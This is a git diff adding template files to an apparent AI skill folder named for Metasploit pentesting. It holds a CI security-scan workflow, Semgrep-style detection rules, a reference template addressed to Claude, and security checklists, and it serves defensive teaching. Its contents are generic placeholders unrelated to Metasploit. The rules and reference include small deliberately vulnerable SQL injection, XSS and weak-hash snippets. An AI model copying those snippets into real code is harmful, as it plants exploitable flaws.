checks: $critical_count" + if [ "$critical_count" -gt "0" ]; then + echo "⚠️ Warning: IaC security issues found" + # Optionally fail the build + # exit 1 + fi + fi + + - name: Upload IaC Scan Results + if: always() + uses: actions/upload-artifact@v4 + with: + name: iac-scan-results + path: ${{ env.REPORT_DIR }}/ + retention-days: 30 + + # Job 6: Security Report Generation and Notification + security-report: + name: Generate Security Report + runs-on: ubuntu-latest + needs: [sast-scan, dependency-scan, secrets-scan] + if: always() + + steps: + - name: Checkout code + uses: actions/checkout@v4 + + - name: Download All Scan Results + uses: actions/download-artifact@v4 + with: + path: all-results/ + + - name: Generate Consolidated Report + run: | + # Consolidate all security scan results + mkdir -p consolidated-report + + cat > consolidated-report/security-summary.md << 'EOF' + # Security Scan Summary + + **Scan Date**: $(date -u +"%Y-%m-%d %H:%M:%S UTC") + **Commit**: ${{ github.sha }} + **Branch**: ${{ github.ref_name }} + + ## Scan Results + + ### SAST Scan + See artifacts: `sast-results` + + ### Dependency Scan + See artifacts: `dependency-scan-results` + + ### Secrets Scan + See artifacts: `secrets-scan-results` + + ### Container Scan + See artifacts: `container-scan-results` + + ### IaC Scan + See artifacts: `iac-scan-results` + + --- + + For detailed results, download scan artifacts from this workflow run. + EOF + + - name: Comment on PR (if applicable) + if: github.event_name == 'pull_request' + uses: actions/github-script@v7 + with: + script: | + const fs = require('fs'); + const report = fs.readFileSync('consolidated-report/security-summary.md', 'utf8'); + + github.rest.issues.createComment({ + issue_number: context.issue.number, + owner: context.repo.owner, + repo: context.repo.repo, + body: report + }); + + - name: Upload Consolidated Report + if: always() + uses: actions/upload-artifact@v4 + with: + name: consolidated-security-report + path: consolidated-report/ + retention-days: 90 + +# Security Best Practices Demonstrated: +# +# 1. ✅ Minimal permissions (principle of least privilege) +# 2. ✅ Multiple security scan types (defense in depth) +# 3. ✅ Fail-fast on critical findings +# 4. ✅ Secrets detection across full git history +# 5. ✅ Container image scanning before deployment +# 6. ✅ IaC scanning for misconfigurations +# 7. ✅ Artifact retention for compliance audit trail +# 8. ✅ SARIF format for GitHub Security integration +# 9. ✅ Scheduled scans for continuous monitoring +# 10. ✅ PR comments for developer feedback +# +# Compliance Mappings: +# - SOC 2: CC6.1, CC6.6, CC7.2 (Security monitoring and logging) +# - PCI-DSS: 6.2, 6.5 (Secure development practices) +# - NIST: SA-11 (Developer Security Testing) +# - OWASP: Integrated security testing throughout SDLC diff --git a/skills/offsec/pentest-metasploit/assets/rule-template.yaml b/skills/offsec/pentest-metasploit/assets/rule-template.yaml new file mode 100644 index 0000000..2aebcfe --- /dev/null +++ b/skills/offsec/pentest-metasploit/assets/rule-template.yaml @@ -0,0 +1,355 @@ +# Security Rule Template +# +# This template demonstrates how to structure security rules/policies. +# Adapt this template to your specific security tool (Semgrep, OPA, etc.) +# +# Rule Structure Best Practices: +# - Clear rule ID and metadata +# - Severity classification +# - Framework mappings (OWASP, CWE) +# - Remediation guidance +# - Example vulnerable and fixed code + +rules: + # Example Rule 1: SQL Injection Detection + - id: sql-injection-string-concatenation + metadata: + name: "SQL Injection via String Concatenation" + description: "Detects potential SQL injection vulnerabilities from string concatenation in SQL queries" + severity: "HIGH" + category: "security" + subcategory: "injection" + + # Security Framework Mappings + owasp: + - "A03:2021 - Injection" + cwe: + - "CWE-89: SQL Injection" + mitre_attack: + - "T1190: Exploit Public-Facing Application" + + # Compliance Standards + compliance: + - "PCI-DSS 6.5.1: Injection flaws" + - "NIST 800-53 SI-10: Information Input Validation" + + # Confidence and Impact + confidence: "HIGH" + likelihood: "HIGH" + impact: "HIGH" + + # References + references: + - "https://owasp.org/www-community/attacks/SQL_Injection" + - "https://cwe.mitre.org/data/definitions/89.html" + - "https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html" + + # Languages this rule applies to + languages: + - python + - javascript + - java + - go + + # Detection Pattern (example using Semgrep-style syntax) + pattern-either: + - pattern: | + cursor.execute($SQL + $VAR) + - pattern: | + cursor.execute(f"... {$VAR} ...") + - pattern: | + cursor.execute("..." + $VAR + "...") + + # What to report when found + message: | + Potential SQL injection vulnerability detected. SQL query is constructed using + string concatenation or f-strings with user input. This allows attackers to + inject malicious SQL code. + + Use parameterized queries instead: + - Python: cursor.execute("SELECT * FROM users WHERE id = ?", (user_id,)) + - JavaScript: db.query("SELECT * FROM users WHERE id = $1", [userId]) + + See: https://owasp.org/www-community/attacks/SQL_Injection + + # Suggested fix (auto-fix if supported) + fix: | + Use parameterized queries with placeholders + + # Example vulnerable code + examples: + - vulnerable: | + # Vulnerable: String concatenation + user_id = request.GET['id'] + query = "SELECT * FROM users WHERE id = " + user_id + cursor.execute(query) + + - fixed: | + # Fixed: Parameterized query + user_id = request.GET['id'] + query = "SELECT * FROM users WHERE id = ?" + cursor.execute(query, (user_id,)) + + # Example Rule 2: Hardcoded Secrets Detection + - id: hardcoded-secret-credential + metadata: + name: "Hardcoded Secret or Credential" + description: "Detects hardcoded secrets, API keys, passwords, or tokens in source code" + severity: "CRITICAL" + category: "security" + subcategory: "secrets" + + owasp: + - "A07:2021 - Identification and Authentication Failures" + cwe: + - "CWE-798: Use of Hard-coded Credentials" + - "CWE-259: Use of Hard-coded Password" + + compliance: + - "PCI-DSS 8.2.1: Use of strong cryptography" + - "SOC 2 CC6.1: Logical access controls" + - "GDPR Article 32: Security of processing" + + confidence: "MEDIUM" + likelihood: "HIGH" + impact: "CRITICAL" + + references: + - "https://cwe.mitre.org/data/definitions/798.html" + - "https://owasp.org/www-community/vulnerabilities/Use_of_hard-coded_password" + + languages: + - python + - javascript + - java + - go + - ruby + + pattern-either: + - pattern: | + password = "..." + - pattern: | + api_key = "..." + - pattern: | + secret = "..." + - pattern: | + token = "..." + + pattern-not: | + $VAR = "" + + message: | + Potential hardcoded secret detected. Hardcoding credentials in source code + is a critical security vulnerability that can lead to unauthorized access + if the code is exposed. + + Use environment variables or a secrets management system instead: + - Python: os.environ.get('API_KEY') + - Node.js: process.env.API_KEY + - Secrets Manager: AWS Secrets Manager, HashiCorp Vault, etc. + + See: https://cwe.mitre.org/data/definitions/798.html + + examples: + - vulnerable: | + # Vulnerable: Hardcoded API key + api_key = "sk-1234567890abcdef" + api.authenticate(api_key) + + - fixed: | + # Fixed: Environment variable + import os + api_key = os.environ.get('API_KEY') + if not api_key: + raise ValueError("API_KEY environment variable not set") + api.authenticate(api_key) + + # Example Rule 3: XSS via Unsafe HTML Rendering + - id: xss-unsafe-html-rendering + metadata: + name: "Cross-Site Scripting (XSS) via Unsafe HTML" + description: "Detects unsafe HTML rendering that could lead to XSS vulnerabilities" + severity: "HIGH" + category: "security" + subcategory: "xss" + + owasp: + - "A03:2021 - Injection" + cwe: + - "CWE-79: Cross-site Scripting (XSS)" + - "CWE-80: Improper Neutralization of Script-Related HTML Tags" + + compliance: + - "PCI-DSS 6.5.7: Cross-site scripting" + - "NIST 800-53 SI-10: Information Input Validation" + + confidence: "HIGH" + likelihood: "MEDIUM" + impact: "HIGH" + + references: + - "https://owasp.org/www-community/attacks/xss/" + - "https://cwe.mitre.org/data/definitions/79.html" + - "https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html" + + languages: + - javascript + - typescript + - jsx + - tsx + + pattern-either: + - pattern: | + dangerouslySetInnerHTML={{__html: $VAR}} + - pattern: | + innerHTML = $VAR + + message: | + Potential XSS vulnerability detected. Setting HTML content directly from + user input without sanitization can allow attackers to inject malicious + JavaScript code. + + Use one of these safe alternatives: + - React: Use {userInput} for automatic escaping + - DOMPurify: const clean = DOMPurify.sanitize(dirty); + - Framework-specific sanitizers + + See: https://owasp.org/www-community/attacks/xss/ + + examples: + - vulnerable: | + // Vulnerable: Unsanitized HTML + function UserComment({ comment }) { + return
; + } + + - fixed: | + // Fixed: Sanitized with DOMPurify + import DOMPurify from 'dompurify'; + + function UserComment({ comment }) { + const sanitized = DOMPurify.sanitize(comment); + return
; + } + + # Example Rule 4: Insecure Cryptography + - id: weak-cryptographic-algorithm + metadata: + name: "Weak Cryptographic Algorithm" + description: "Detects use of weak or deprecated cryptographic algorithms" + severity: "HIGH" + category: "security" + subcategory: "cryptography" + + owasp: + - "A02:2021 - Cryptographic Failures" + cwe: + - "CWE-327: Use of a Broken or Risky Cryptographic Algorithm" + - "CWE-326: Inadequate Encryption Strength" + + compliance: + - "PCI-DSS 4.1: Use strong cryptography" + - "NIST 800-53 SC-13: Cryptographic Protection" + - "GDPR Article 32: Security of processing" + + confidence: "HIGH" + likelihood: "MEDIUM" + impact: "HIGH" + + references: + - "https://cwe.mitre.org/data/definitions/327.html" + - "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/09-Testing_for_Weak_Cryptography/" + + languages: + - python + - javascript + - java + + pattern-either: + - pattern: | + hashlib.md5(...) + - pattern: | + hashlib.sha1(...) + - pattern: | + crypto.createHash('md5') + - pattern: | + crypto.createHash('sha1') + + message: | + Weak cryptographic algorithm detected (MD5 or SHA1). These algorithms are + considered cryptographically broken and should not be used for security purposes. + + Use strong alternatives: + - For hashing: SHA-256, SHA-384, or SHA-512 + - For password hashing: bcrypt, argon2, or PBKDF2 + - Python: hashlib.sha256() + - Node.js: crypto.createHash('sha256') + + See: https://cwe.mitre.org/data/definitions/327.html + + examples: + - vulnerable: | + # Vulnerable: MD5 hash + import hashlib + hash_value = hashlib.md5(data).hexdigest() + + - fixed: | + # Fixed: SHA-256 hash + import hashlib + hash_value = hashlib.sha256(data).hexdigest() + +# Rule Configuration +configuration: + # Global settings + enabled: true + severity_threshold: "MEDIUM" # Report findings at MEDIUM severity and above + + # Performance tuning + max_file_size_kb: 1024 + exclude_patterns: + - "test/*" + - "tests/*" + - "node_modules/*" + - "vendor/*" + - "*.min.js" + + # False positive reduction + confidence_threshold: "MEDIUM" # Only report findings with MEDIUM confidence or higher + +# Rule Metadata Schema +# This section documents the expected structure for rules +metadata_schema: + required: + - id: "Unique identifier for the rule (kebab-case)" + - name: "Human-readable rule name" + - description: "What the rule detects" + - severity: "CRITICAL | HIGH | MEDIUM | LOW | INFO" + - category: "security | best-practice | performance" + + optional: + - subcategory: "Specific type (injection, xss, secrets, etc.)" + - owasp: "OWASP Top 10 mappings" + - cwe: "CWE identifier(s)" + - mitre_attack: "MITRE ATT&CK technique(s)" + - compliance: "Compliance standard references" + - confidence: "Detection confidence level" + - likelihood: "Likelihood of exploitation" + - impact: "Potential impact if exploited" + - references: "External documentation links" + +# Usage Instructions: +# +# 1. Copy this template when creating new security rules +# 2. Update metadata fields with appropriate framework mappings +# 3. Customize detection patterns for your tool (Semgrep, OPA, etc.) +# 4. Provide clear remediation guidance in the message field +# 5. Include both vulnerable and fixed code examples +# 6. Test rules on real codebases before deployment +# +# Best Practices: +# - Map to multiple frameworks (OWASP, CWE, MITRE ATT&CK) +# - Include compliance standard references +# - Provide actionable remediation guidance +# - Show code examples (vulnerable vs. fixed) +# - Tune confidence levels to reduce false positives +# - Exclude test directories to reduce noise diff --git a/skills/offsec/pentest-metasploit/references/EXAMPLE.md b/skills/offsec/pentest-metasploit/references/EXAMPLE.md new file mode 100644 index 0000000..c317b39 --- /dev/null +++ b/skills/offsec/pentest-metasploit/references/EXAMPLE.md @@ -0,0 +1,550 @@ +# Reference Document Template + +This file demonstrates how to structure detailed reference material that Claude loads on-demand. + +**When to use this reference**: Include a clear statement about when Claude should consult this document. +For example: "Consult this reference when analyzing Python code for security vulnerabilities and needing detailed remediation patterns." + +**Document purpose**: Briefly explain what this reference provides that's not in SKILL.md. + +--- + +## Table of Contents + +**For documents >100 lines, always include a table of contents** to help Claude navigate quickly. + +- [When to Use References](#when-to-use-references) +- [Document Organization](#document-organization) +- [Detailed Technical Content](#detailed-technical-content) +- [Security Framework Mappings](#security-framework-mappings) + - [OWASP Top 10](#owasp-top-10) + - [CWE Mappings](#cwe-mappings) + - [MITRE ATT&CK](#mitre-attck) +- [Remediation Patterns](#remediation-patterns) +- [Advanced Configuration](#advanced-configuration) +- [Examples and Code Samples](#examples-and-code-samples) + +--- + +## When to Use References + +**Move content from SKILL.md to references/** when: + +1. **Content exceeds 100 lines** - Keep SKILL.md concise +2. **Framework-specific details** - Detailed OWASP/CWE/MITRE mappings +3. **Advanced user content** - Deep technical details for expert users +4. **Lookup-oriented content** - Rule libraries, configuration matrices, comprehensive lists +5. **Language-specific patterns** - Separate files per language/framework +6. **Historical context** - Old patterns and deprecated approaches + +**Keep in SKILL.md**: +- Core workflows (top 3-5 use cases) +- Decision points and branching logic +- Quick start guidance +- Essential security considerations + +--- + +## Document Organization + +### Structure for Long Documents + +For references >100 lines: + +```markdown +# Title + +**When to use**: Clear trigger statement +**Purpose**: What this provides + +## Table of Contents +- Links to all major sections + +## Quick Reference +- Key facts or commands for fast lookup + +## Detailed Content +- Comprehensive information organized logically + +## Framework Mappings +- OWASP, CWE, MITRE ATT&CK references + +## Examples +- Code samples and patterns +``` + +### Section Naming Conventions + +- Use **imperative** or **declarative** headings +- ✅ "Detecting SQL Injection" not "How to detect SQL Injection" +- ✅ "Common Patterns" not "These are common patterns" +- Make headings **searchable** and **specific** + +--- + +## Detailed Technical Content + +This section demonstrates the type of detailed content that belongs in references rather than SKILL.md. + +### Example: Comprehensive Vulnerability Detection + +#### SQL Injection Detection Patterns + +**Pattern 1: String Concatenation in Queries** + +```python +# Vulnerable pattern +query = "SELECT * FROM users WHERE id = " + user_id +cursor.execute(query) + +# Detection criteria: +# - SQL keyword (SELECT, INSERT, UPDATE, DELETE) +# - String concatenation operator (+, f-string) +# - Variable user input (request params, form data) + +# Severity: HIGH +# CWE: CWE-89 +# OWASP: A03:2021 - Injection +``` + +**Remediation**: +```python +# Fixed: Parameterized query +query = "SELECT * FROM users WHERE id = ?" +cursor.execute(query, (user_id,)) + +# OR using ORM +user = User.objects.get(id=user_id) +``` + +**Pattern 2: Unsafe String Formatting** + +```python +# Vulnerable patterns +query = f"SELECT * FROM users WHERE name = '{username}'" +query = "SELECT * FROM users WHERE name = '%s'" % username +query = "SELECT * FROM users WHERE name = '{}'".format(username) + +# All three patterns are vulnerable to SQL injection +``` + +#### Cross-Site Scripting (XSS) Detection + +**Pattern 1: Unescaped Output in Templates** + +```javascript +// Vulnerable: Direct HTML injection +element.innerHTML = userInput; +document.write(userInput); + +// Vulnerable: React dangerouslySetInnerHTML +
+ +// Detection criteria: +# - Direct DOM manipulation (innerHTML, document.write) +# - React dangerouslySetInnerHTML with user data +# - Template engines with autoescaping disabled + +// Severity: HIGH +// CWE: CWE-79 +// OWASP: A03:2021 - Injection +``` + +**Remediation**: +```javascript +// Fixed: Escaped output +element.textContent = userInput; // Auto-escapes + +// Fixed: Sanitization library +import DOMPurify from 'dompurify'; +const clean = DOMPurify.sanitize(userComment); +
+``` + +--- + +## Security Framework Mappings + +This section provides comprehensive security framework mappings for findings. + +### OWASP Top 10 + +Map security findings to OWASP Top 10 (2021) categories: + +| Category | Title | Common Vulnerabilities | +|----------|-------|----------------------| +| **A01:2021** | Broken Access Control | Authorization bypass, privilege escalation, IDOR | +| **A02:2021** | Cryptographic Failures | Weak crypto, plaintext storage, insecure TLS | +| **A03:2021** | Injection | SQL injection, XSS, command injection, LDAP injection | +| **A04:2021** | Insecure Design | Missing security controls, threat modeling gaps | +| **A05:2021** | Security Misconfiguration | Default configs, verbose errors, unnecessary features | +| **A06:2021** | Vulnerable Components | Outdated libraries, unpatched dependencies | +| **A07:2021** | Auth & Session Failures | Weak passwords, session fixation, missing MFA | +| **A08:2021** | Software & Data Integrity | Unsigned updates, insecure CI/CD, deserialization | +| **A09:2021** | Logging & Monitoring Failures | Insufficient logging, no alerting, log injection | +| **A10:2021** | SSRF | Server-side request forgery, unvalidated redirects | + +**Usage**: When reporting findings, map to primary OWASP category and reference the identifier (e.g., "A03:2021 - Injection"). + +### CWE Mappings + +Map to relevant Common Weakness Enumeration categories for precise vulnerability classification: + +#### Injection Vulnerabilities +- **CWE-78**: OS Command Injection +- **CWE-79**: Cross-site Scripting (XSS) +- **CWE-89**: SQL Injection +- **CWE-90**: LDAP Injection +- **CWE-91**: XML Injection +- **CWE-94**: Code Injection + +#### Authentication & Authorization +- **CWE-287**: Improper Authentication +- **CWE-288**: Authentication Bypass Using Alternate Path +- **CWE-290**: Authentication Bypass by Spoofing +- **CWE-294**: Authentication Bypass by Capture-replay +- **CWE-306**: Missing Authentication for Critical Function +- **CWE-307**: Improper Restriction of Excessive Authentication Attempts +- **CWE-352**: Cross-Site Request Forgery (CSRF) + +#### Cryptographic Issues +- **CWE-256**: Plaintext Storage of Password +- **CWE-259**: Use of Hard-coded Password +- **CWE-261**: Weak Encoding for Password +- **CWE-321**: Use of Hard-coded Cryptographic Key +- **CWE-326**: Inadequate Encryption Strength +- **CWE-327**: Use of Broken or Risky Cryptographic Algorithm +- **CWE-329**: Not Using a Random IV with CBC Mode +- **CWE-798**: Use of Hard-coded Credentials + +#### Input Validation +- **CWE-20**: Improper Input Validation +- **CWE-73**: External Control of File Name or Path +- **CWE-434**: Unrestricted Upload of File with Dangerous Type +- **CWE-601**: URL Redirection to Untrusted Site + +#### Sensitive Data Exposure +- **CWE-200**: Information Exposure +- **CWE-209**: Information Exposure Through Error Message +- **CWE-312**: Cleartext Storage of Sensitive Information +- **CWE-319**: Cleartext Transmission of Sensitive Information +- **CWE-532**: Information Exposure Through Log Files + +**Usage**: Include CWE identifier in all vulnerability reports for standardized classification. + +### MITRE ATT&CK + +Reference relevant tactics and techniques for threat context: + +#### Initial Access (TA0001) +- **T1190**: Exploit Public-Facing Application +- **T1133**: External Remote Services +- **T1078**: Valid Accounts + +#### Execution (TA0002) +- **T1059**: Command and Scripting Interpreter +- **T1203**: Exploitation for Client Execution + +#### Persistence (TA0003) +- **T1098**: Account Manipulation +- **T1136**: Create Account +- **T1505**: Server Software Component + +#### Privilege Escalation (TA0004) +- **T1068**: Exploitation for Privilege Escalation +- **T1548**: Abuse Elevation Control Mechanism + +#### Defense Evasion (TA0005) +- **T1027**: Obfuscated Files or Information +- **T1140**: Deobfuscate/Decode Files or Information +- **T1562**: Impair Defenses + +#### Credential Access (TA0006) +- **T1110**: Brute Force +- **T1555**: Credentials from Password Stores +- **T1552**: Unsecured Credentials + +#### Discovery (TA0007) +- **T1083**: File and Directory Discovery +- **T1046**: Network Service Scanning + +#### Collection (TA0009) +- **T1005**: Data from Local System +- **T1114**: Email Collection + +#### Exfiltration (TA0010) +- **T1041**: Exfiltration Over C2 Channel +- **T1567**: Exfiltration Over Web Service + +**Usage**: When identifying vulnerabilities, consider which ATT&CK techniques an attacker could use to exploit them. + +--- + +## Remediation Patterns + +This section provides specific remediation guidance for common vulnerability types. + +### SQL Injection Remediation + +**Step 1: Identify vulnerable queries** +- Search for string concatenation in SQL queries +- Check for f-strings or format() with SQL keywords +- Review all database interaction code + +**Step 2: Apply parameterized queries** + +```python +# Python with sqlite3 +cursor.execute("SELECT * FROM users WHERE id = ?", (user_id,)) + +# Python with psycopg2 (PostgreSQL) +cursor.execute("SELECT * FROM users WHERE id = %s", (user_id,)) + +# Python with SQLAlchemy (ORM) +from sqlalchemy import text +result = session.execute(text("SELECT * FROM users WHERE id = :id"), {"id": user_id}) +``` + +**Step 3: Validate and sanitize input** (defense in depth) +```python +import re + +# Validate input format +if not re.match(r'^\d+$', user_id): + raise ValueError("Invalid user ID format") + +# Use ORM query builders +user = User.query.filter_by(id=user_id).first() +``` + +**Step 4: Implement least privilege** +- Database user should have minimum required permissions +- Use read-only accounts for SELECT operations +- Never use admin/root accounts for application queries + +### XSS Remediation + +**Step 1: Enable auto-escaping** +- Most modern frameworks escape by default +- Ensure auto-escaping is not disabled + +**Step 2: Use framework-specific safe methods** + +```javascript +// React: Use JSX (auto-escapes) +
{userInput}
+ +// Vue: Use template syntax (auto-escapes) +
{{ userInput }}
+ +// Angular: Use property binding (auto-escapes) +
+``` + +**Step 3: Sanitize when HTML is required** + +```javascript +import DOMPurify from 'dompurify'; + +// Sanitize HTML content +const clean = DOMPurify.sanitize(userHTML, { + ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'p'], + ALLOWED_ATTR: [] +}); +``` + +**Step 4: Content Security Policy (CSP)** + +```html + +Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-{random}' +``` + +--- + +## Advanced Configuration + +This section contains detailed configuration options and tuning parameters. + +### Example: SAST Tool Configuration + +```yaml +# Advanced security scanner configuration +scanner: + # Severity threshold + severity_threshold: MEDIUM + + # Rule configuration + rules: + enabled: + - sql-injection + - xss + - hardcoded-secrets + disabled: + - informational-only + + # False positive reduction + confidence_threshold: HIGH + exclude_patterns: + - "*/test/*" + - "*/tests/*" + - "*/node_modules/*" + - "*.test.js" + - "*.spec.ts" + + # Performance tuning + max_file_size_kb: 2048 + timeout_seconds: 300 + parallel_jobs: 4 + + # Output configuration + output_format: json + include_code_snippets: true + max_snippet_lines: 10 +``` + +--- + +## Examples and Code Samples + +This section provides comprehensive code examples for various scenarios. + +### Example 1: Secure API Authentication + +```python +# Secure API key handling +import os +from functools import wraps +from flask import Flask, request, jsonify + +app = Flask(__name__) + +# Load API key from environment (never hardcode) +VALID_API_KEY = os.environ.get('API_KEY') +if not VALID_API_KEY: + raise ValueError("API_KEY environment variable not set") + +def require_api_key(f): + @wraps(f) + def decorated_function(*args, **kwargs): + api_key = request.headers.get('X-API-Key') + + if not api_key: + return jsonify({'error': 'API key required'}), 401 + + # Constant-time comparison to prevent timing attacks + import hmac + if not hmac.compare_digest(api_key, VALID_API_KEY): + return jsonify({'error': 'Invalid API key'}), 403 + + return f(*args, **kwargs) + return decorated_function + +@app.route('/api/secure-endpoint') +@require_api_key +def secure_endpoint(): + return jsonify({'message': 'Access granted'}) +``` + +### Example 2: Secure Password Hashing + +```python +# Secure password storage with bcrypt +import bcrypt + +def hash_password(password: str) -> str: + """Hash a password using bcrypt.""" + # Generate salt and hash password + salt = bcrypt.gensalt(rounds=12) # Cost factor: 12 (industry standard) + hashed = bcrypt.hashpw(password.encode('utf-8'), salt) + return hashed.decode('utf-8') + +def verify_password(password: str, hashed: str) -> bool: + """Verify a password against a hash.""" + return bcrypt.checkpw( + password.encode('utf-8'), + hashed.encode('utf-8') + ) + +# Usage +stored_hash = hash_password("user_password") +is_valid = verify_password("user_password", stored_hash) # True +``` + +### Example 3: Secure File Upload + +```python +# Secure file upload with validation +import os +import magic +from werkzeug.utils import secure_filename + +ALLOWED_EXTENSIONS = {'pdf', 'png', 'jpg', 'jpeg'} +ALLOWED_MIME_TYPES = { + 'application/pdf', + 'image/png', + 'image/jpeg' +} +MAX_FILE_SIZE = 5 * 1024 * 1024 # 5 MB + +def is_allowed_file(filename: str, file_content: bytes) -> bool: + """Validate file extension and MIME type.""" + # Check extension + if '.' not in filename: + return False + + ext = filename.rsplit('.', 1)[1].lower() + if ext not in ALLOWED_EXTENSIONS: + return False + + # Check MIME type (prevent extension spoofing) + mime = magic.from_buffer(file_content, mime=True) + if mime not in ALLOWED_MIME_TYPES: + return False + + return True + +def handle_upload(file): + """Securely handle file upload.""" + # Check file size + file.seek(0, os.SEEK_END) + size = file.tell() + file.seek(0) + + if size > MAX_FILE_SIZE: + raise ValueError("File too large") + + # Read content for validation + content = file.read() + file.seek(0) + + # Validate file type + if not is_allowed_file(file.filename, content): + raise ValueError("Invalid file type") + + # Sanitize filename + filename = secure_filename(file.filename) + + # Generate unique filename to prevent overwrite attacks + import uuid + unique_filename = f"{uuid.uuid4()}_{filename}" + + # Save to secure location (outside web root) + upload_path = os.path.join('/secure/uploads', unique_filename) + file.save(upload_path) + + return unique_filename +``` + +--- + +## Best Practices for Reference Documents + +1. **Start with "When to use"** - Help Claude know when to load this reference +2. **Include table of contents** - For documents >100 lines +3. **Use concrete examples** - Code samples with vulnerable and fixed versions +4. **Map to frameworks** - OWASP, CWE, MITRE ATT&CK for context +5. **Provide remediation** - Don't just identify issues, show how to fix them +6. **Organize logically** - Group related content, use clear headings +7. **Keep examples current** - Use modern patterns and current framework versions +8. **Be concise** - Even in references, challenge every sentence diff --git a/skills/offsec/pentest-metasploit/references/WORKFLOW_CHECKLIST.md b/skills/offsec/pentest-metasploit/references/WORKFLOW_CHECKLIST.md new file mode 100644 index 0000000..eff0234 --- /dev/null +++ b/skills/offsec/pentest-metasploit/references/WORKFLOW_CHECKLIST.md @@ -0,0 +1,253 @@ +# Workflow Checklist Template + +This template demonstrates workflow patterns for security operations. Copy and adapt these checklists to your specific skill needs. + +## Pattern 1: Sequential Workflow Checklist + +Use this pattern for operations that must be completed in order, step-by-step. + +### Security Assessment Workflow + +Progress: +[ ] 1. Identify application entry points and attack surface +[ ] 2. Map authentication and authorization flows +[ ] 3. Identify data flows and sensitive data handling +[ ] 4. Review existing security controls +[ ] 5. Document findings with framework references (OWASP, CWE) +[ ] 6. Prioritize findings by severity (CVSS scores) +[ ] 7. Generate report with remediation recommendations + +Work through each step systematically. Check off completed items. + +--- + +## Pattern 2: Conditional Workflow + +Use this pattern when the workflow branches based on findings or conditions. + +### Vulnerability Remediation Workflow + +1. Identify vulnerability type + - If SQL Injection → See [sql-injection-remediation.md](sql-injection-remediation.md) + - If XSS (Cross-Site Scripting) → See [xss-remediation.md](xss-remediation.md) + - If Authentication flaw → See [auth-remediation.md](auth-remediation.md) + - If Authorization flaw → See [authz-remediation.md](authz-remediation.md) + - If Cryptographic issue → See [crypto-remediation.md](crypto-remediation.md) + +2. Assess severity using CVSS calculator + - If CVSS >= 9.0 → Priority: Critical (immediate action) + - If CVSS 7.0-8.9 → Priority: High (action within 24h) + - If CVSS 4.0-6.9 → Priority: Medium (action within 1 week) + - If CVSS < 4.0 → Priority: Low (action within 30 days) + +3. Apply appropriate remediation pattern +4. Validate fix with security testing +5. Document changes and update security documentation + +--- + +## Pattern 3: Iterative Workflow + +Use this pattern for operations that repeat across multiple targets or items. + +### Code Security Review Workflow + +For each file in the review scope: +1. Identify security-sensitive operations (auth, data access, crypto, input handling) +2. Check against secure coding patterns for the language +3. Flag potential vulnerabilities with severity rating +4. Map findings to CWE and OWASP categories +5. Suggest specific remediation approaches +6. Document finding with code location and fix priority + +Continue until all files in scope have been reviewed. + +--- + +## Pattern 4: Feedback Loop Workflow + +Use this pattern when validation and iteration are required. + +### Secure Configuration Generation Workflow + +1. Generate initial security configuration based on requirements +2. Run validation script: `./scripts/validate_config.py config.yaml` +3. Review validation output: + - Note all errors (must fix) + - Note all warnings (should fix) + - Note all info items (consider) +4. Fix identified issues in configuration +5. Repeat steps 2-4 until validation passes with zero errors +6. Review warnings and determine if they should be addressed +7. Apply configuration once validation is clean + +**Validation Loop**: Run validator → Fix errors → Repeat until clean + +--- + +## Pattern 5: Parallel Analysis Workflow + +Use this pattern when multiple independent analyses can run concurrently. + +### Comprehensive Security Scan Workflow + +Run these scans in parallel: + +**Static Analysis**: +[ ] 1a. Run SAST scan (Semgrep/Bandit) +[ ] 1b. Run dependency vulnerability scan (Safety/npm audit) +[ ] 1c. Run secrets detection (Gitleaks/TruffleHog) +[ ] 1d. Run license compliance check + +**Dynamic Analysis**: +[ ] 2a. Run DAST scan (ZAP/Burp) +[ ] 2b. Run API security testing +[ ] 2c. Run authentication/authorization testing + +**Infrastructure Analysis**: +[ ] 3a. Run infrastructure-as-code scan (Checkov/tfsec) +[ ] 3b. Run container image scan (Trivy/Grype) +[ ] 3c. Run configuration review + +**Consolidation**: +[ ] 4. Aggregate all findings +[ ] 5. Deduplicate and correlate findings +[ ] 6. Prioritize by risk (CVSS + exploitability + business impact) +[ ] 7. Generate unified security report + +--- + +## Pattern 6: Research and Documentation Workflow + +Use this pattern for security research and documentation tasks. + +### Threat Modeling Workflow + +Research Progress: +[ ] 1. Identify system components and boundaries +[ ] 2. Map data flows between components +[ ] 3. Identify trust boundaries +[ ] 4. Enumerate assets (data, services, credentials) +[ ] 5. Apply STRIDE framework to each component: + - Spoofing threats + - Tampering threats + - Repudiation threats + - Information disclosure threats + - Denial of service threats + - Elevation of privilege threats +[ ] 6. Map threats to MITRE ATT&CK techniques +[ ] 7. Identify existing mitigations +[ ] 8. Document residual risks +[ ] 9. Recommend additional security controls +[ ] 10. Generate threat model document + +Work through each step systematically. Check off completed items. + +--- + +## Pattern 7: Compliance Validation Workflow + +Use this pattern for compliance checks against security standards. + +### Security Compliance Audit Workflow + +**SOC 2 Controls Review**: +[ ] 1. Review access control policies (CC6.1, CC6.2, CC6.3) +[ ] 2. Verify logical access controls implementation (CC6.1) +[ ] 3. Review authentication mechanisms (CC6.1) +[ ] 4. Verify encryption implementation (CC6.1, CC6.7) +[ ] 5. Review audit logging configuration (CC7.2) +[ ] 6. Verify security monitoring (CC7.2, CC7.3) +[ ] 7. Review incident response procedures (CC7.3, CC7.4) +[ ] 8. Verify backup and recovery processes (A1.2, A1.3) + +**Evidence Collection**: +[ ] 9. Collect policy documents +[ ] 10. Collect configuration screenshots +[ ] 11. Collect audit logs +[ ] 12. Document control gaps +[ ] 13. Generate compliance report + +--- + +## Pattern 8: Incident Response Workflow + +Use this pattern for security incident handling. + +### Security Incident Response Workflow + +**Detection and Analysis**: +[ ] 1. Confirm security incident (rule out false positive) +[ ] 2. Determine incident severity (SEV1/2/3/4) +[ ] 3. Identify affected systems and data +[ ] 4. Preserve evidence (logs, memory dumps, network captures) + +**Containment**: +[ ] 5. Isolate affected systems (network segmentation) +[ ] 6. Disable compromised accounts +[ ] 7. Block malicious indicators (IPs, domains, hashes) +[ ] 8. Implement temporary compensating controls + +**Eradication**: +[ ] 9. Identify root cause +[ ] 10. Remove malicious artifacts (malware, backdoors, webshells) +[ ] 11. Patch vulnerabilities exploited +[ ] 12. Reset compromised credentials + 